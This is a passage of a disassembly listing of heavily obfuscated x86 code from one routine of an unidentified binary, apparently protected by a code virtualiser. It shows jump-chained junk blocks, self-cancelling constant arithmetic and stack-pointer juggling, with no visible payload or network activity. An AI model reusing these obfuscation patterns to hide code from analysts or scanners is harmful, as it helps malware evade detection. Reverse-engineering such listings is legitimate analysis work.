loc_59CA00:				; CODE XREF: sub_58A891+17C3Bj
		jz	loc_59C7C8
		sub	bl, 61h
		xor	ch, bl
		mov	bx, word ptr [esp+86h+var_86]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_5ACDD5
; ---------------------------------------------------------------------------


loc_59CA21:				; CODE XREF: sub_58A891+181FAj
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+86h+var_86]
		jmp	loc_59CD2A
; ---------------------------------------------------------------------------


loc_59CA35:				; CODE XREF: sub_58A891+25084j
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_5A15BF
; ---------------------------------------------------------------------------


loc_59CA40:				; CODE XREF: sub_58A891+195BFj
		xor	edx, [esp]
		mov	esp, [esp]
		push	408Ch
		mov	[esp+82h+var_82], edx
		mov	dh, 24h
		sub	al, dh
		pop	edx
		sub	esp, 4
		jmp	loc_5A5301
; ---------------------------------------------------------------------------


loc_59CA5B:				; CODE XREF: sub_58A891+1DED4j
		add	eax, 53630C5Eh
		push	[esp+82h+var_82]
		mov	edi, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5AD1FC
; ---------------------------------------------------------------------------


loc_59CA6E:				; CODE XREF: sub_58A891+19DB4j
		push	[esp+82h+var_82]
		mov	edx, [esp+86h+var_86]
		add	esp, 4
		add	esp, 4
		push	esi
		push	eax
		push	2F366C02h
		pop	eax
		and	eax, 348070F8h
		push	esi
		mov	esi, 6F497079h
		jmp	loc_5B20EE
; ---------------------------------------------------------------------------


loc_59CA95:				; CODE XREF: sub_58A891+128ECj
					; sub_58A891+24425j
		neg	edi
		or	edi, 5BE3438h
		sub	edi, 0D7FFB5F8h
		add	ebp, 718E0B11h
		add	ebp, edi
		jmp	loc_5A5BEC
; ---------------------------------------------------------------------------


loc_59CAB0:				; CODE XREF: sub_58A891+13E80j
		push	edi
		mov	edi, 1775809h
		add	eax, edi
		jmp	loc_59CB2E
; ---------------------------------------------------------------------------


loc_59CABD:				; CODE XREF: sub_58A891+2626Fj
		push	ecx
		mov	ecx, 470908F1h
		shr	ecx, 2
		xor	ecx, 8482894Dh
		jmp	loc_59C27C
; ---------------------------------------------------------------------------


loc_59CAD1:				; CODE XREF: sub_58A891+18858j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A5387
; ---------------------------------------------------------------------------


loc_59CADF:				; CODE XREF: sub_58A891+2724Aj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2D5B
; ---------------------------------------------------------------------------


loc_59CAF3:				; CODE XREF: sub_58A891+25D59j
		add	ax, bx
		jmp	loc_5AB8BD
; ---------------------------------------------------------------------------


loc_59CAFB:				; CODE XREF: sub_58A891+2550Ej
		pop	ecx
		mov	edi, [esp+92h+var_92]
		add	esp, 4
		push	ebx
		jmp	loc_59C7AF
; ---------------------------------------------------------------------------


loc_59CB0B:				; CODE XREF: sub_58A891+1BCD9j
		sub	esp, 4
		jmp	loc_5A56D9
; ---------------------------------------------------------------------------


loc_59CB13:				; CODE XREF: sub_58A891+19B49j
		jge	loc_5A0536
		dec	ebx
		neg	ebx
		jns	loc_5B1F9A
		mov	dh, ch
		push	edi
		mov	cx, word ptr [esp+9Ah+var_9A]
		jmp	loc_5AC95F
; ---------------------------------------------------------------------------


loc_59CB2E:				; CODE XREF: sub_58A891+12227j
		pop	edi
		xor	eax, 1B45E304h
		add	esi, 590C5186h
		sub	esi, eax
		sub	esi, 590C5186h
		jmp	loc_59F45B
; ---------------------------------------------------------------------------


loc_59CB47:				; CODE XREF: sub_58A891:loc_5AE0A0j
		xor	ebx, 0AA73934h
		xor	edi, ebx
		pop	ebx
		add	ebp, 2D541685h
		add	ebp, edi
		sub	ebp, 2D541685h
		pop	edi
		jmp	loc_5A17A0
; ---------------------------------------------------------------------------


loc_59CB64:				; CODE XREF: sub_58A891+150C3j
					; sub_58A891+19036j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AF7AF
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 4
		jmp	loc_5A874B
; ---------------------------------------------------------------------------


loc_59CB83:				; CODE XREF: sub_58A891+2562Cj
		push	[esp+86h+var_86]
		pop	esi
		add	esp, 4
		sub	ebx, 2BAF50BDh
		sub	ebx, 5DAA2FF7h
		add	ebx, edi
		add	ebx, 5DAA2FF7h
		push	ecx
		push	edi
		mov	edi, 631D49E0h
		neg	edi
		jmp	loc_59DF31
; ---------------------------------------------------------------------------


loc_59CBAF:				; CODE XREF: sub_58A891+1A47Cj
		add	esp, 4
		sub	ebx, eax
		push	esi
		jmp	loc_5AA081
; ---------------------------------------------------------------------------


loc_59CBBA:				; CODE XREF: sub_58A891+26546j
		jbe	loc_5AA145
		jmp	loc_59E7A8
; ---------------------------------------------------------------------------
		sub	ecx, 6CE4726Ch
		shl	ecx, 3


loc_59CBCE:				; CODE XREF: sub_58A891+225E1j
		jle	loc_5A4FC2
		jmp	loc_5A88FE
; ---------------------------------------------------------------------------
		push	42C5h
		mov	[esp+8Eh+var_8E], ebx
		push	edx


loc_59CBE2:				; CODE XREF: sub_58A891+1AA8Ej
		add	esp, 4
		xchg	esi, [esp+8Eh+var_8E]
		pop	esp
		push	dword ptr [edx]
		push	[esp+8Eh+var_8E]
		pop	eax
		add	esp, 4
		mov	edx, [esp+8Ah+var_8A]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_59D756
; ---------------------------------------------------------------------------


loc_59CC06:				; CODE XREF: sub_58A891+13AC8j
		pop	eax
		pop	ecx
		xor	ecx, eax
		pop	eax
		add	edx, 462B7091h
		jmp	loc_5A8B54
; ---------------------------------------------------------------------------


loc_59CC16:				; CODE XREF: sub_58A891+27E02j
		pop	esi
		pop	ebp
		xchg	ebx, ebp
		not	ebx
		jmp	loc_59EA8B
; ---------------------------------------------------------------------------


loc_59CC21:				; CODE XREF: sub_58A891+22BE3j
		mov	edi, 2FC7079Bh
		dec	edi
		shr	edi, 4
		inc	edi
		inc	edi
		jmp	loc_5A1ADD
; ---------------------------------------------------------------------------


loc_59CC31:				; CODE XREF: sub_58A891+1F62Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59CC36:				; CODE XREF: sub_58A891+1A71Aj
		js	loc_59EB53
		push	edi
		push	eax
		push	0EC6h
		mov	[esp+82h+var_82], ebx
		jmp	loc_5A21F9
; ---------------------------------------------------------------------------


loc_59CC4B:				; CODE XREF: sub_58A891+15FB0j
		shl	ebx, 2
		and	ebx, 677853C7h
		not	ebx
		and	ebx, 21285AF5h
		xor	ebx, 20005A71h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+7Eh+var_7E]
		pop	esp
		push	49A2h
		mov	[esp+7Eh+var_7E], ecx
		jmp	loc_5A5CE4
; ---------------------------------------------------------------------------


loc_59CC76:				; CODE XREF: sub_58A891+245FFj
		push	edx
		mov	dh, 0EAh
		jmp	loc_5AB453
; ---------------------------------------------------------------------------


loc_59CC7E:				; CODE XREF: sub_58A891+1C88Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+86h+var_86]
		jmp	loc_5A05F5
; ---------------------------------------------------------------------------


loc_59CC95:				; CODE XREF: sub_58A891+14375j
					; sub_58A891+26E3Ej
		add	esi, 6F8D1A12h
		mov	ebp, [esp+86h+var_86]
		add	esp, 4
		mov	edi, [esp+82h+var_82]
		add	esp, 4
		add	edi, esi
		push	[esp+7Eh+var_7E]
		mov	esi, [esp+82h+var_82]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5ACFAD
; ---------------------------------------------------------------------------


loc_59CCC6:				; CODE XREF: sub_58A891+1BF8Ej
		dec	eax
		jmp	loc_5AAF31
; ---------------------------------------------------------------------------


loc_59CCCC:				; CODE XREF: sub_58A891+14265j
		add	esp, 4
		jmp	loc_5A0AE7
; ---------------------------------------------------------------------------


loc_59CCD4:				; CODE XREF: sub_58A891+1EB2Aj
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5B096D
; ---------------------------------------------------------------------------


loc_59CCDF:				; CODE XREF: sub_58A891+2600Bj
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 35AC6FD8h
		sub	dword ptr [esp+4], 715E0F80h
		push	[esp+7Ah+var_7A]
		jmp	loc_5A6633
; ---------------------------------------------------------------------------


loc_59CCFB:				; CODE XREF: sub_58A891+21D21j
		mov	edi, 4
		push	edi
		mov	edi, 3C081160h
		xor	edi, 45335FA5h
		sub	ebp, edi
		pop	edi
		add	ebp, edi
		add	ebp, 793B4EC5h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59CDCC
; ---------------------------------------------------------------------------


loc_59CD2A:				; CODE XREF: sub_58A891+1219Fj
		xor	[esp+86h+var_86], edx
		xor	edx, [esp+86h+var_86]
		mov	esp, [esp+86h+var_86]
		jmp	loc_5AA036
; ---------------------------------------------------------------------------


loc_59CD38:				; CODE XREF: sub_58A891+17B9Bj
		mov	esp, [esp+86h+var_86]
		push	13C4h
		jmp	loc_5A2A66
; ---------------------------------------------------------------------------


loc_59CD45:				; CODE XREF: sub_58A891+283FBj
		and	ebx, 43EF26EDh
		xor	ebx, 51434052h
		and	ebx, 1C741046h
		or	ebx, 75F51F36h
		jmp	loc_5A2C08
; ---------------------------------------------------------------------------


loc_59CD62:				; CODE XREF: sub_58A891+2330Bj
		xchg	edi, edx
		xchg	edx, ebx
		push	eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		add	ebx, 0FFA02C7h
		push	ebp
		mov	ebp, 3B7F512Dh
		jmp	loc_5A2638
; ---------------------------------------------------------------------------


loc_59CD81:				; CODE XREF: sub_58A891+2187Cj
		xor	eax, 0FFFE7D9Dh
		sub	edi, 5E9D5F64h
		add	edi, eax
		add	edi, 5E9D5F64h
		push	[esp+8Eh+var_8E]
		pop	eax
		add	esp, 4
		push	edi
		push	[esp+8Eh+var_8A]
		pop	edi
		jmp	loc_5A5CD9
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+92h+var_92], edx
		sub	esp, 4
		mov	[esp+96h+var_96], ecx
		mov	ch, 32h
		mov	dh, ch
		pop	ecx
		shr	dh, 7
		xor	dh, 29h
		push	ebx
		mov	bh, 0CBh
		push	edx
		jmp	loc_5AA289
; ---------------------------------------------------------------------------


loc_59CDCC:				; CODE XREF: sub_58A891+12494j
		pop	eax
		xchg	ebp, [esp+7Ah+var_7A]
		pop	esp
		jmp	loc_5A0F2A
; ---------------------------------------------------------------------------


loc_59CDD6:				; CODE XREF: sub_58A891+1711Dj
		pop	cx
		shl	bl, 7
		jmp	loc_5B2B28
; ---------------------------------------------------------------------------


loc_59CDE0:				; CODE XREF: sub_58A891+1EFB1j
		pop	esi
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+74h+var_74], eax
		sub	esp, 4
		mov	[esp+78h+var_7A+2], edx
		jmp	loc_5B1246
; ---------------------------------------------------------------------------


loc_59CDFA:				; CODE XREF: sub_58A891+20C02j
		mov	eax, [esp+78h+var_7A+2]
		add	esp, 4
		add	[esp+74h+var_70], edi
		pop	edi
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 2
		jmp	loc_5ACBCF
; ---------------------------------------------------------------------------


loc_59CE1A:				; CODE XREF: sub_58A891+19A66j
		xor	ecx, [esp+70h+var_70]
		jmp	loc_5B1879
; ---------------------------------------------------------------------------


loc_59CE22:				; CODE XREF: sub_58A891+1C42Fj
		not	edx
		jmp	loc_5ABBDB
; ---------------------------------------------------------------------------


loc_59CE29:				; CODE XREF: sub_58A891+22FDBj
		mov	ebp, [esp+70h+var_70]
		add	esp, 4
		pop	esi
		push	eax
		push	[esp+6Ch+var_68]
		push	[esp+70h+var_70]
		mov	eax, [esp+74h+var_74]
		add	esp, 4
		add	esp, 4
		pop	[esp+6Ch+var_6C]
		mov	esp, [esp+68h+var_68]
		movsx	ecx, ax
		push	30FAh
		mov	[esp+6Ch+var_6C], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59CE5D:				; CODE XREF: sub_58A891+1E8FFj
		mov	edi, [esp+6Ch+var_6C]
		push	ecx
		push	esp
		jmp	loc_5A671A
; ---------------------------------------------------------------------------


loc_59CE67:				; CODE XREF: sub_58A891+1D8AEj
		push	ebx
		jmp	loc_5A6779
; ---------------------------------------------------------------------------


loc_59CE6D:				; CODE XREF: sub_58A891+19FDBj
					; sub_58A891+1D8F2j
		mov	ecx, ebp
		push	[esp+78h+var_7A+2]
		pop	ebp
		add	esp, 4
		jmp	loc_59E972
; ---------------------------------------------------------------------------


loc_59CE7E:				; CODE XREF: sub_58A891+1C266j
		xchg	edi, [esp+74h+var_74]
		pop	esp
		mov	[esp+70h+var_70], ebp
		jmp	loc_5A62EE
; ---------------------------------------------------------------------------


loc_59CE8A:				; CODE XREF: sub_58A891+1CFBBj
		sub	esp, 4
		push	esp
		jmp	loc_5B12BD
; ---------------------------------------------------------------------------


loc_59CE93:				; CODE XREF: sub_58A891+12F41j
					; sub_58A891+18FE3j
		push	[esp+78h+var_74]
		pop	ebx
		pop	[esp+78h+var_7A+2]
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		push	esi
		xchg	edx, [esp+78h+var_7A+2]
		not	edx
		xchg	edx, [esp+78h+var_7A+2]
		pop	esi
		jmp	loc_5A639C
; ---------------------------------------------------------------------------


loc_59CEAE:				; CODE XREF: sub_58A891+25922j
		push	esi
		mov	esi, 276B3EE7h
		add	esi, 0D894C11Dh
		add	ebp, esi
		pop	esi
		jmp	loc_5AD4AF
; ---------------------------------------------------------------------------


loc_59CEC2:				; CODE XREF: sub_58A891+22BCFj
		inc	dh
		xor	dh, 70h
		sub	bh, dh
		pop	edx
		add	bh, cl
		jmp	loc_5AB917
; ---------------------------------------------------------------------------


loc_59CED1:				; CODE XREF: sub_58A891+26ACEj
		mov	ch, 9Bh
		sub	al, 69h
		add	al, ch
		add	al, 69h
		pop	cx
		sub	al, bl
		push	edx
		mov	dl, 8Eh
		sub	dl, 0C8h
		jmp	loc_5ABAD5
; ---------------------------------------------------------------------------


loc_59CEE8:				; CODE XREF: sub_58A891+12075j
		and	eax, edi
		mov	edi, [esp+86h+var_86]
		jmp	loc_59E5F1
; ---------------------------------------------------------------------------


loc_59CEF2:				; CODE XREF: sub_58A891+189F6j
		xor	edi, 397C2556h
		jmp	loc_5B0460
; ---------------------------------------------------------------------------


loc_59CEFD:				; CODE XREF: sub_58A891+283DAj
		or	eax, 3792413h
		add	eax, 1C997D3Ch
		jmp	loc_5A883C
; ---------------------------------------------------------------------------


loc_59CF0C:				; CODE XREF: sub_58A891+14553j
		pop	ecx
		shl	al, 2
		shl	al, 1
		or	al, 74h
		jmp	loc_5AEF32
; ---------------------------------------------------------------------------


loc_59CF19:				; CODE XREF: sub_58A891+25779j
		push	ecx
		push	[esp+86h+var_82]
		pop	ecx
		pop	[esp+86h+var_86]
		pop	esp
		jmp	loc_5A9937
; ---------------------------------------------------------------------------


loc_59CF28:				; CODE XREF: sub_58A891+23A47j
		xor	bl, al
		movzx	eax, al
		jmp	loc_59E400
; ---------------------------------------------------------------------------


loc_59CF32:				; CODE XREF: sub_58A891+186E2j
		mov	ebp, [esp+7Eh+var_7E]
		add	esp, 4
		push	edi
		jmp	loc_5AD173
; ---------------------------------------------------------------------------


loc_59CF3E:				; CODE XREF: sub_58A891+25B66j
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	11D1h
		mov	[esp+7Eh+var_7E], edx
		mov	edx, 586811C7h
		jmp	loc_5AF6AF
; ---------------------------------------------------------------------------


loc_59CF5A:				; CODE XREF: sub_58A891+24EB9j
		push	3043h
		jmp	loc_59D862
; ---------------------------------------------------------------------------


loc_59CF64:				; CODE XREF: sub_58A891+27BAEj
		pop	esp
		mov	[esp+7Eh+var_7E], ebp
		push	esp
		jmp	loc_5A7E66
; ---------------------------------------------------------------------------


loc_59CF6E:				; CODE XREF: sub_58A891+19BE7j
		add	ebx, 7221442h
		add	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A114C
; ---------------------------------------------------------------------------


loc_59CF7F:				; CODE XREF: sub_58A891+13ED1j
		mov	ecx, 1F6D7D8Ah
		sub	edi, ecx
		pop	ecx
		add	ebp, 4094758Ch
		add	ebp, edi
		jmp	loc_5A4AE0
; ---------------------------------------------------------------------------


loc_59CF94:				; CODE XREF: sub_58A891+209A8j
		add	al, 0D9h
		mov	ebx, [esp+0]
		jmp	loc_5B23BE
; ---------------------------------------------------------------------------


loc_59CF9E:				; CODE XREF: sub_58A891+145F7j
		mov	edx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		sub	esp, 4
		jmp	loc_5A1694
; ---------------------------------------------------------------------------


loc_59CFB3:				; CODE XREF: sub_58A891+155CBj
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp+7Eh+var_7E]
		jmp	loc_59F72C
; ---------------------------------------------------------------------------


loc_59CFBF:				; CODE XREF: sub_58A891+1A02Ej
		mov	ebp, [esp+7Eh+var_7E]
		jmp	loc_59C050
; ---------------------------------------------------------------------------


loc_59CFC7:				; CODE XREF: sub_58A891+229FAj
		sub	bl, ah
		jmp	loc_5AEA86
; ---------------------------------------------------------------------------


loc_59CFCE:				; CODE XREF: sub_58A891+1F562j
		add	esp, 4
		xchg	edx, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		xchg	eax, edx
		push	ebx
		jmp	loc_5A7F78
; ---------------------------------------------------------------------------


loc_59CFDE:				; CODE XREF: sub_58A891+1C6DBj
		xor	esi, 30C2D461h
		mov	ecx, esi
		pop	esi
		add	ecx, 5C2213BDh
		jmp	loc_59C5C3
; ---------------------------------------------------------------------------


loc_59CFF2:				; CODE XREF: sub_58A891+2365Aj
		shr	edi, 7
		add	edi, 0C78710Fh
		and	edi, 72D90D60h
		jmp	loc_5A0F4B
; ---------------------------------------------------------------------------


loc_59D006:				; CODE XREF: sub_58A891+2421Ej
		mov	ecx, 16BE47EFh
		push	esi
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------


loc_59D011:				; CODE XREF: sub_58A891+1F1E2j
		push	edx
		mov	edx, 0E532F3Fh
		and	edx, 52E70193h
		and	edx, 4BF83BC7h
		sub	edx, 79CF3E3Dh
		add	edx, 88C1585h
		add	ebp, edx
		pop	edx
		sub	ebx, ebp
		mov	ebp, [esp+7Eh+var_7E]
		add	esp, 4
		mov	edi, ebx
		pop	ebx
		sub	edx, edi
		pop	edi
		sub	edx, 18CE0AB7h
		add	edx, eax
		add	edx, 18CE0AB7h
		add	edx, 33672D73h
		push	ebx
		jmp	loc_5A5B85
; ---------------------------------------------------------------------------


loc_59D05A:				; CODE XREF: sub_58A891+19041j
		jp	loc_5AA46A
		add	eax, 0BF9FCE04h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx


loc_59D06A:				; CODE XREF: sub_58A891+27616j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Ah+var_7A]
		pop	esp
		jmp	loc_5B1E8B
; ---------------------------------------------------------------------------


loc_59D07E:				; CODE XREF: sub_58A891+212BFj
		sub	esp, 4
		jmp	loc_5A4B8F
; ---------------------------------------------------------------------------


loc_59D086:				; CODE XREF: sub_58A891+26A7Fj
		add	edi, 4
		xchg	edi, [esp+7Ah+var_7A]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	edx
		jmp	loc_5A90F8
; ---------------------------------------------------------------------------


loc_59D098:				; CODE XREF: sub_58A891+241F9j
		add	esp, 2
		add	bl, al
		jmp	loc_5AABA5
; ---------------------------------------------------------------------------


loc_59D0A2:				; CODE XREF: sub_58A891+1EF46j
		xor	eax, [esp+0]
		pop	esp
		mov	[esp+72h+var_74+2], edx
		push	80000h
		jmp	loc_5A647D
; ---------------------------------------------------------------------------


loc_59D0B3:				; CODE XREF: sub_58A891+13A63j
		shl	ebx, 1
		sub	ebx, 7D806092h
		jnz	loc_5AE2DD
		not	ebx
		not	ebx
		shl	ebx, 6
		xor	al, 7Dh
		mov	cl, dl


loc_59D0CC:				; CODE XREF: sub_58A891+13AB9j
		xchg	edx, [esp+0]
		pop	esp
		push	74E2h
		mov	[esp+0], ebx
		mov	ebx, 1B5E3777h
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, edi
		pop	edi
		shr	ebx, 2
		shl	ebx, 2
		push	ecx
		mov	ecx, 1B5E3770h
		xor	ebx, ecx
		pop	ecx
		add	edi, ebx
		jmp	loc_5A9D46
; ---------------------------------------------------------------------------


loc_59D0FC:				; CODE XREF: sub_58A891+1BB8Fj
		xor	edx, eax
		jmp	loc_5B1F44
; ---------------------------------------------------------------------------


loc_59D103:				; CODE XREF: sub_58A891+14086j
		push	[esp+76h+var_74+2]
		mov	edx, [esp+7Ah+var_7A]
		add	esp, 4
		jmp	loc_5A2E3A
; ---------------------------------------------------------------------------


loc_59D112:				; CODE XREF: sub_58A891+18779j
		xor	edi, ebx
		pop	ebx
		push	[esp+72h+var_74+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 605B1E41h
		dec	edx
		and	edx, 16E3086Fh
		xor	edx, offset dword_430844
		jmp	loc_5A9CC4
; ---------------------------------------------------------------------------


loc_59D13A:				; CODE XREF: sub_58A891+25228j
		push	edx
		jmp	loc_5A50A1
; ---------------------------------------------------------------------------


loc_59D140:				; CODE XREF: sub_58A891+206D8j
		shr	edi, 3
		jp	loc_59F384
		or	edi, 17FC4020h
		jmp	loc_5A0BFA
; ---------------------------------------------------------------------------
		mov	ch, bh


loc_59D156:				; CODE XREF: sub_58A891+1F103j
		sub	ebp, 675100FAh
		pop	edi
		xchg	ebp, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		mov	[esp+7Ah+var_7A], ebp
		push	20000h
		mov	ebp, [esp+7Eh+var_7E]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2CA44E24h
		jmp	loc_59CA95
; ---------------------------------------------------------------------------


loc_59D182:				; CODE XREF: sub_58A891+1EE47j
		add	ecx, 2DBE2587h
		pop	esi
		push	ecx
		jmp	loc_5A2273
; ---------------------------------------------------------------------------


loc_59D18F:				; CODE XREF: sub_58A891+25EF1j
		xor	ecx, 62BC2E0Ch
		add	ecx, 0DCB51452h
		add	edx, 4C3C55E8h
		sub	edx, ecx
		sub	edx, 4C3C55E8h
		pop	ecx
		jmp	loc_5B09DF
; ---------------------------------------------------------------------------


loc_59D1AF:				; CODE XREF: sub_58A891+16444j
		add	esp, 4
		pop	[esp+7Eh+var_7E]
		mov	esp, [esp+7Ah+var_7A]
		btc	word ptr [esp+7Ah+var_7A], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59D1C6:				; CODE XREF: sub_58A891+22C27j
		pop	esp
		add	[esp+4], ebx
		push	[esp+7Ah+var_7A]
		pop	ebx
		push	edx
		jmp	loc_59EB32
; ---------------------------------------------------------------------------


loc_59D1D5:				; CODE XREF: sub_58A891+1B0F4j
		pop	eax
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		mov	[esp+7Ah+var_7A], edi
		jmp	loc_5AA2A4
; ---------------------------------------------------------------------------


loc_59D1ED:				; CODE XREF: sub_58A891+14797j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 1
		add	ebx, 0B6887C62h
		jmp	loc_5ACB78
; ---------------------------------------------------------------------------


loc_59D201:				; CODE XREF: sub_58A891+18EFBj
		mov	edi, esp
		push	ebx
		mov	ebx, 49C948C1h
		inc	ebx
		xor	ebx, 49C948C6h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5B0774
; ---------------------------------------------------------------------------


loc_59D221:				; CODE XREF: sub_58A891+1A224j
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xchg	eax, esi
		xor	esi, 0B6ABEED5h
		mov	edi, esi
		jmp	loc_5AF4B2
; ---------------------------------------------------------------------------


loc_59D233:				; CODE XREF: sub_58A891+24D2Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		jmp	loc_5A46B7
; ---------------------------------------------------------------------------


loc_59D24D:				; CODE XREF: sub_58A891+21897j
		pop	edx
		add	eax, ebx
		jmp	loc_5AD516
; ---------------------------------------------------------------------------


loc_59D255:				; CODE XREF: sub_58A891+1F22Aj
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4E456F28h
		inc	ebx
		add	ebx, 0B1BA90DBh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+72h+var_74+2], edx
		push	eax
		jmp	loc_5A600B
; ---------------------------------------------------------------------------


loc_59D27A:				; CODE XREF: sub_58A891+119DDj
		push	eax
		jmp	loc_5A9585
; ---------------------------------------------------------------------------


loc_59D280:				; CODE XREF: sub_58A891+20771j
		and	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_5B12EB
; ---------------------------------------------------------------------------


loc_59D28A:				; CODE XREF: sub_58A891+1B775j
		pop	esi
		xor	ebx, esi
		push	[esp-0Ah+arg_0+2]
		pop	esi
		add	esp, 4
		shl	ebx, 4
		add	ebx, 6236F0Dh
		push	edx
		jmp	loc_5AE66A
; ---------------------------------------------------------------------------


loc_59D2A3:				; CODE XREF: sub_58A891+15FCDj
		mov	ebp, [esp-0Ah+arg_0+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AC509
; ---------------------------------------------------------------------------
		push	0C2Ah
		mov	[esp-0Eh+arg_4+2], ebx
		push	7D59h
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A109B
; ---------------------------------------------------------------------------


loc_59D2D6:				; CODE XREF: sub_58A891+1D3C5j
		neg	eax
		jmp	loc_59C6B0
; ---------------------------------------------------------------------------


loc_59D2DD:				; CODE XREF: sub_58A891+1AA25j
		mov	eax, 6046681h
		sub	esi, eax
		mov	eax, [esp-0Ah+arg_0+2]
		jmp	loc_5AB431
; ---------------------------------------------------------------------------
		push	[esp-0Ah+arg_0+2]
		push	dword ptr [esp+0]
		pop	eax
		push	228Dh
		mov	[esp+0], edx
		jmp	loc_5AB42A
; ---------------------------------------------------------------------------


loc_59D300:				; CODE XREF: sub_58A891+25C8Ej
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5A6BCE
; ---------------------------------------------------------------------------


loc_59D30E:				; CODE XREF: sub_58A891+253D0j
		pop	ebx
		mov	edi, ebp
		jmp	loc_5B2462
; ---------------------------------------------------------------------------


loc_59D316:				; CODE XREF: sub_58A891+12DB3j
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_59C975
; ---------------------------------------------------------------------------


loc_59D31F:				; CODE XREF: sub_58A891+12E8Ej
		mov	edx, ebx
		pop	ebx
		jmp	loc_59EA9A
; ---------------------------------------------------------------------------


loc_59D327:				; CODE XREF: sub_58A891+1D8BFj
		add	edi, ecx
		jmp	loc_5A8D5C
; ---------------------------------------------------------------------------


loc_59D32E:				; CODE XREF: sub_58A891+2525Dj
		pop	esp
		push	622Dh
		jmp	loc_5ABC0A
; ---------------------------------------------------------------------------


loc_59D339:				; CODE XREF: sub_58A891+15D3Fj
		add	esp, 4
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4


loc_59D342:				; CODE XREF: sub_58A891+23094j
					; sub_58A891+24563j
		mov	ebx, [esp-16h+arg_E]
		sub	esp, 4
		mov	[esp-12h+arg_8+2], edx
		mov	edx, esp
		push	1241h
		jmp	loc_5AF020
; ---------------------------------------------------------------------------


loc_59D357:				; CODE XREF: sub_58A891+196F1j
					; sub_58A891+1D662j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-0Eh+arg_4+2]
		pop	esp
		mov	[esp-12h+arg_8+2], ebx
		push	[esp-12h+arg_8+2]
		push	[esp-0Eh+arg_4+2]
		push	[esp-0Ah+arg_0+2]
		pop	eax
		push	60A9h
		jmp	loc_5A571C
; ---------------------------------------------------------------------------


loc_59D37E:				; CODE XREF: sub_58A891+1D641j
		mov	[esp+0], edx
		push	eax
		mov	ah, 5
		add	ah, 6Dh
		push	ecx
		mov	ch, 2Eh
		jmp	loc_5AF4F8
; ---------------------------------------------------------------------------


loc_59D38F:				; CODE XREF: sub_58A891+27F43j
		or	ecx, ebx
		pop	ebx
		jmp	loc_5A3C3D
; ---------------------------------------------------------------------------


loc_59D397:				; CODE XREF: sub_58A891+25869j
		push	edi
		mov	edi, 0DF54416Eh
		jmp	loc_5A2135
; ---------------------------------------------------------------------------


loc_59D3A2:				; CODE XREF: sub_58A891+1F0B3j
		add	edi, 34301994h
		jmp	loc_5AD050
; ---------------------------------------------------------------------------


loc_59D3AD:				; CODE XREF: sub_58A891+164DDj
		not	ebp
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		not	ebp
		add	ebp, 770120ACh
		xor	esi, ebp
		pop	ebp
		jmp	loc_5A5EAC
; ---------------------------------------------------------------------------


loc_59D3C5:				; CODE XREF: sub_58A891+16F0Aj
		inc	edx
		jmp	loc_5A7865
; ---------------------------------------------------------------------------


